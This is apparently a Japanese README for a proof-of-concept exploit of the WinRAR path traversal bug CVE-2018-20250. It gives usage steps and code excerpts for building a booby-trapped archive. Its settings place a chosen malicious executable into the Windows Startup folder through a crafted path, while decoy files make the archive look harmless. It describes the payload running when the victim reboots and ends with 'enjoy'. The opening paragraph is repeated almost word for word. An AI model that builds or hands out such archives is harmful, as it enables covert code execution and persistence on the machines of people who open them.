
WinRarは、Windows向けの非常に広く知られたソフトウェアです。以前のバージョンのWinRARには脆弱性が存在し、2019年2月に修正されました。多くのユーザーがWinRARをアップデートしていないため、この絶対パス・トラバーサルバグ [CVE-2018-20250] に対して脆弱な状態にあります。
WinRarは、Windows向けの非常に広く知られたソフトウェアです。以前のバージョンのWinRARには脆弱性があり、2019年2月に修正されました。ほとんどのユーザーはWinRARをアップデートしていないため、この絶対パストラバーサルバグ[CVE-2018-20250]に対して脆弱な状態です。
WinRarからコード実行を抽出する のexp
Ridter氏によるpoc
使い方
Python 3.7をインストールし、実行させたい悪意のあるファイルを用意して、任意の値を設定するだけです。このexpスクリプトは、悪意のあるアーカイブファイルを自動的に生成します!
... ...
# 作成するアーカイブのファイル名
rar_filename = "test.rar"
# 実行させたい悪意のあるファイル
evil_filename = "calc.exe"
# 展開先のパス(例として以下を設定)
target_filename = r"C:\C:C:../AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.exe"
# 被害者がWinRARを開いたときに表示されるその他のファイル
# filename_list=[]
filename_list = ["hello.txt", "world.txt"]
... ...
def get_right_hdr_crc(filename):
# このコマンドは環境によって異なる場合があります。ご自身のPython3環境に合わせてください。
p = os.popen('py -3 acefile.py --headers %s'%(filename))
res = p.read()
pattern = re.compile('right_hdr_crc : 0x(.*?) | struct')
result = pattern.findall(res)
right_hdr_crc = result[0].upper()
return hex2raw4(right_hdr_crc)
... ...
expを実行すると、test.rarが自動的に生成されます
被害者がtest.rarを開くと、hello.txtとworld.txtというファイルが表示されます。さらに多くのファイルを追加して、より魅力的に見せることもできます。
![]()
hi.exeというファイルが追加されます。実際にはcalc.exeです。コンピュータを再起動すると、hi.exeが実行されます。![]()
楽しんでください! :)